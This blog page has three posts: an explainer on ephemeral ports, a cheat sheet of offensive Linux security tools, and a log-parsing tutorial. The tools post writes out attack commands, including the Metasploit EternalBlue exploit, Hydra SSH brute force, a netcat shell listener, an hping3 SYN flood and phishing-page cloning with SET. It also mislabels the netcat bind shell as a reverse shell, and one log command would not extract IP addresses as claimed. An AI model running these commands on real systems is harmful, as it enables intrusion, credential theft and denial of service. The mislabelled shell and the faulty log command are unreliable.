Pages

Wednesday, November 6, 2024

what are ephemeral ports?

 Ephemeral ports, also known as dynamic or temporary ports, are short-lived transport layer ports (usually TCP or UDP) assigned by the operating system to a client application when it initiates a connection to a server. These ports are used for the duration of a communication session and are typically released or reallocated once the session is complete.

### Key Characteristics of Ephemeral Ports

1. **Temporary Nature**: They are used for the duration of a connection and are automatically released when the connection ends.

2. **Port Range**: Ephemeral ports typically fall within a specific range defined by the operating system. Common ranges include 49152 to 65535 (according to the IANA standard), but ranges can vary by operating system.

3. **Assigned by the OS**: When a client makes a connection request, the OS dynamically assigns an available ephemeral port for that session.

4. **Uniqueness**: Each connection requires a unique ephemeral port on the client side, which allows multiple connections to different servers or services simultaneously.


### How Ephemeral Ports Work

- **Client Initiates Connection**: When a client application initiates a connection to a server, it needs both the destination port (associated with the specific service on the server, like port 80 for HTTP) and a source port on the client side.

- **Dynamic Assignment**: The OS selects an ephemeral port from the predefined range and assigns it as the source port.

- **Session Identification**: The combination of the client’s IP address, source port (ephemeral), server’s IP address, and destination port uniquely identifies the connection.


### Example

For instance, when a client wants to connect to a web server at `example.com`:

1. The client’s operating system assigns an ephemeral port (e.g., 52000).

2. The client initiates a TCP connection from its IP address with source port 52000 to the server’s IP address on destination port 80 (for HTTP).

3. The server responds, and the session is established.

4. Once the connection is closed, the ephemeral port 52000 is released.


### Why Ephemeral Ports Are Important

- **Efficiency**: They enable efficient, concurrent client-server communications by allocating ports only as needed.

- **Automatic Management**: The OS manages and reuses ports, simplifying connection management for applications.

- **Session Tracking**: They allow tracking and isolating different client sessions to a server, ensuring each connection is uniquely identified.


### Common Ephemeral Port Ranges by OS

- **Windows**: 49152 to 65535 (by default, but configurable)

- **Linux**: 32768 to 60999 (configurable in most distributions)

- **macOS**: 49152 to 65535 (default)


Ephemeral ports are essential for establishing and managing network connections, allowing applications to use a wide range of temporary ports to handle numerous concurrent connections.

Tuesday, September 10, 2024

Offensive Linux Security Tools

 



Offensive Linux security tools are primarily used for penetration testing, ethical hacking, vulnerability assessment, and exploiting system weaknesses. These tools help security professionals identify vulnerabilities in Linux systems before malicious actors can exploit them. Below are some of the most commonly used offensive Linux security tools, along with their examples and usage.


### 1. **Nmap**

**Nmap (Network Mapper)** is a popular network scanning tool used to discover hosts and services on a network, and it’s often used to identify open ports, services, and vulnerabilities.


- **Example: Scan a specific IP range for open ports**

  ```bash

  nmap -sS 192.168.1.0/24

  ```

  This command performs a TCP SYN scan to identify which ports are open on the target network.


- **Example: Scan for version detection and OS fingerprinting**

  ```bash

  nmap -sV -O 192.168.1.10

  ```

  This command detects the service version running on each port and tries to determine the target’s operating system.


### 2. **Metasploit**

**Metasploit** is a widely used framework for developing, testing, and executing exploits against a target system.


- **Example: Launch a basic exploit using Metasploit**

  ```bash

  msfconsole

  use exploit/windows/smb/ms17_010_eternalblue

  set RHOST 192.168.1.10

  exploit

  ```

  This exploits the EternalBlue SMB vulnerability on a Windows machine.


### 3. **Hydra**

**Hydra** is a fast and flexible password-cracking tool used for performing brute force attacks on network services like SSH, FTP, and HTTP.


- **Example: Brute force attack on SSH**

  ```bash

  hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.10

  ```

  This command attempts to brute force the SSH login with the username `root` using the RockYou password list.


### 4. **Nikto**

**Nikto** is an open-source web server scanner that looks for vulnerabilities such as outdated software, dangerous files, or misconfigurations.


- **Example: Scan a website for vulnerabilities**

  ```bash

  nikto -h http://example.com

  ```

  This command scans the target website for known vulnerabilities and potential security issues.


### 5. **John the Ripper**

**John the Ripper** is a fast password-cracking tool that supports various encryption algorithms. It’s often used to crack password hashes.


- **Example: Crack a password hash**

  ```bash

  john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

  ```

  This command uses the RockYou wordlist to try and crack the passwords contained in the `hash.txt` file.


### 6. **Wireshark**

**Wireshark** is a network protocol analyzer that captures and inspects packets in real-time, useful for intercepting and analyzing network traffic.


- **Example: Capture all traffic on a specific interface**

  ```bash

  wireshark -i eth0

  ```

  This captures all network traffic on the `eth0` interface, allowing you to analyze it for potential vulnerabilities.


### 7. **Aircrack-ng**

**Aircrack-ng** is a suite of tools used for assessing Wi-Fi network security. It’s often used for cracking WEP/WPA-PSK keys.


- **Example: Crack a WEP key**

  ```bash

  airodump-ng wlan0

  aircrack-ng -b [BSSID] capturefile.cap

  ```

  This captures wireless traffic and attempts to crack the WEP key from the `.cap` file.


### 8. **sqlmap**

**sqlmap** is an open-source tool used to detect and exploit SQL injection vulnerabilities in web applications.


- **Example: Exploit SQL injection vulnerability**

  ```bash

  sqlmap -u "http://example.com/page?id=1" --dbs

  ```

  This command identifies and exploits a SQL injection vulnerability in the target website, listing available databases.


### 9. **Hashcat**

**Hashcat** is a fast password recovery tool that supports a wide variety of hashing algorithms, including MD5, SHA1, SHA256, and more.


- **Example: Crack a hash using a dictionary attack**

  ```bash

  hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

  ```

  This command attempts to crack the hash in `hash.txt` using the RockYou wordlist.


### 10. **Burp Suite**

**Burp Suite** is a web application security testing tool that allows penetration testers to perform various types of attacks, such as SQL injection, XSS, and CSRF.


- **Example: Intercept HTTP traffic**

  Configure Burp Suite as a proxy in your browser to intercept and analyze HTTP requests and responses. This can help identify and exploit web vulnerabilities.


### 11. **Netcat (nc)**

**Netcat** is a versatile networking tool used for creating TCP/UDP connections, and it’s often used for port scanning, banner grabbing, and establishing backdoors.


- **Example: Create a reverse shell**

  On the target machine:

  ```bash

  nc -lvp 4444 -e /bin/bash

  ```

  On the attacking machine:

  ```bash

  nc [target_ip] 4444

  ```

  This sets up a reverse shell connection on port 4444, allowing the attacker to control the target machine.


### 12. **Social-Engineer Toolkit (SET)**

**SET** is a framework designed for social engineering attacks, such as phishing, credential harvesting, and email spoofing.


- **Example: Create a phishing site**

  ```bash

  setoolkit

  ```

  Select the phishing attack vector, choose the website to clone, and it creates a phishing page to capture user credentials.


### 13. **hping3**

**hping3** is a command-line packet crafting tool used to generate custom network packets for testing firewall rules, detecting open ports, and performing DoS attacks.


- **Example: Perform a SYN flood attack**

  ```bash

  hping3 -S --flood -V -p 80 [target_ip]

  ```

  This sends a flood of SYN packets to port 80 on the target machine, potentially causing a denial of service.


### 14. **Sn1per**

**Sn1per** is an automated scanner used for vulnerability assessments and penetration testing.


- **Example: Perform a full scan**

  ```bash

  sniper -t [target_ip]

  ```

  This command runs a full scan against the target IP, including port scanning, web vulnerabilities, and more.


### 15. **Exploit-DB**

**Exploit Database (Exploit-DB)** is a repository for public exploits and vulnerabilities, used by security researchers to find and test known vulnerabilities.


- **Example: Search for a specific exploit**

  ```bash

  searchsploit apache

  ```

  This command searches for Apache-related exploits in the Exploit-DB repository.

---

### Common Use-Cases:

1. **Network Scanning**: Nmap, Netcat, Wireshark, hping3

2. **Web Application Testing**: Burp Suite, Nikto, sqlmap, OWASP ZAP

3. **Password Cracking**: John the Ripper, Hydra, Hashcat

4. **Wi-Fi Penetration Testing**: Aircrack-ng

5. **Exploitation**: Metasploit, Sn1per

6. **Social Engineering**: Social-Engineer Toolkit (SET)

These tools, when used responsibly by security professionals, are crucial for identifying vulnerabilities, securing systems, and ensuring compliance with security best practices. They should only be used in legal environments with proper authorization.

Monday, September 9, 2024

Log Parsing

 


Log Parsing Cheat Sheet

1. GREP

GREP searches any given input files, selecting lines that match one or more patterns.

2. CUT

CUT cuts out selected portions of each line from each file and writes them to the standard output.

3. SED

SED reads the specified files, modifying the input as specified by a list of commands.

4. AWK

AWK scans each input file for lines that match any of a set of patterns.

5. SORT

SORT sorts text and binary files by lines.

6. UNIQ

UNIQ reads the specified input file comparing adjacent lines and writes a copy of each unique input line to the output file.



Let’s walk through an example.

To count the number of hits from the top 10 IP addresses requesting the path "/api/payments" from the access log in this common log format:

216.67.1.91 - leon [01/Jul/2002:12:11:52 +0000] "GET /index.html HTTP/1.1" 200 431

We can use a combination of grep, cut, sort, and uniq commands. Here is a sample command:

grep '/api/payments' access.log | cut -d ' ' -f 1 | sort | uniq -c | sort -rn | head -10

Here's what each part of the command does:

- grep '/api/payments' access.log: This filters the lines containing "/api/payments" from the access.log file.

- cut -d ' ' -f 1: This extracts the first field (the IP address) from each line. The -d ' ' option specifies space as the field delimiter.

- sort: This sorts the IP addresses.

- uniq -c: This removes duplicate lines and prefixes lines by the number of occurrences.

- sort -rn: This sorts the lines in reverse order (highest first) numerically.

- head -10: This shows only the first 10 lines of the output, which correspond to the top 10 IP addresses.

###


Log parsing commands are essential for analyzing logs and extracting useful information, especially in system administration and troubleshooting. Below are some of the most commonly used log parsing commands along with examples.


### 1. **grep**

`grep` is used to search for specific patterns in a file or output.


- **Example: Search for errors in a log file**

  ```bash

  grep "ERROR" /var/log/syslog

  ```

  This command will search for the word "ERROR" in the syslog file and return all matching lines.


- **Example: Case-insensitive search**

  ```bash

  grep -i "error" /var/log/syslog

  ```

  This will return lines with "error", "Error", "ERROR", etc.


### 2. **awk**

`awk` is a powerful text-processing tool that allows manipulation and extraction of data based on patterns and actions.


- **Example: Extract the date and message from a log**

  ```bash

  awk '{print $1, $2, $3, $5}' /var/log/syslog

  ```

  This extracts the first three fields (date and time) and the 5th field (log message) from each line.


- **Example: Filter logs by a specific user**

  ```bash

  awk '$5 == "username"' /var/log/auth.log

  ```

  This searches for entries where the 5th field equals "username".


### 3. **sed**

`sed` is used for stream editing, such as searching, finding, and replacing text in logs.


- **Example: Replace "ERROR" with "WARNING"**

  ```bash

  sed 's/ERROR/WARNING/g' /var/log/syslog

  ```

  This replaces all occurrences of "ERROR" with "WARNING" in the syslog file.


- **Example: Delete lines containing "DEBUG"**

  ```bash

  sed '/DEBUG/d' /var/log/syslog

  ```

  This deletes all lines containing "DEBUG" from the output.


### 4. **cut**

`cut` is used to extract specific columns or fields from a log file.


- **Example: Extract the timestamp from logs**

  ```bash

  cut -d ' ' -f 1-3 /var/log/syslog

  ```

  This extracts the first three fields (assumed to be date and time) from each line, where fields are separated by spaces.


### 5. **tail**

`tail` shows the last few lines of a file, which is helpful for viewing recent log entries.


- **Example: Show the last 10 lines of the log**

  ```bash

  tail /var/log/syslog

  ```


- **Example: Continuously monitor new log entries (real-time)**

  ```bash

  tail -f /var/log/syslog

  ```


### 6. **head**

`head` is the opposite of `tail`; it shows the first few lines of a file.


- **Example: View the first 10 lines of a log file**

  ```bash

  head /var/log/syslog

  ```


### 7. **sort**

`sort` arranges the lines of a file or output in ascending or descending order.


- **Example: Sort log entries by timestamp**

  ```bash

  sort /var/log/syslog

  ```


- **Example: Sort in reverse order**

  ```bash

  sort -r /var/log/syslog

  ```


### 8. **uniq**

`uniq` filters out repeated lines, which is useful for finding unique log entries.


- **Example: Find unique IP addresses**

  ```bash

  cut -d ' ' -f 7 /var/log/syslog | sort | uniq

  ```

  This extracts the 7th field (assumed to be an IP address), sorts it, and removes duplicates.


### 9. **wc**

`wc` counts lines, words, or characters in a file.


- **Example: Count the number of log entries**

  ```bash

  wc -l /var/log/syslog

  ```


- **Example: Count words in a log file**

  ```bash

  wc -w /var/log/syslog

  ```


### 10. **less**

`less` is a pager command that allows you to view large log files one screen at a time.


- **Example: View a log file interactively**

  ```bash

  less /var/log/syslog

  ```


### 11. **find**

`find` is used to search for files based on criteria, which can be helpful when looking for log files across directories.


- **Example: Find log files modified in the last 24 hours**

  ```bash

  find /var/log -name "*.log" -mtime -1

  ```


### 12. **xargs**

`xargs` is used to build and execute commands based on the output of previous commands.


- **Example: Delete old log files**

  ```bash

  find /var/log -name "*.log" -mtime +30 | xargs rm

  ```

  This finds all log files older than 30 days and deletes them.


### 13. **logger**

`logger` is used to manually add entries to the system log.


- **Example: Log a custom message**

  ```bash

  logger "This is a custom log entry"

  ```


---


### Use Case Example: Combined Commands for Log Parsing


To find unique IP addresses from recent logs:

```bash

tail -n 1000 /var/log/syslog | grep "Accepted" | awk '{print $NF}' | sort | uniq

```

This command looks at the last 1000 lines of the syslog, filters for "Accepted" SSH login messages, extracts the IP addresses, sorts them, and removes duplicates.


---

These commands, either individually or in combination, can be extremely powerful for parsing, analyzing, and managing logs in Unix/Linux environments.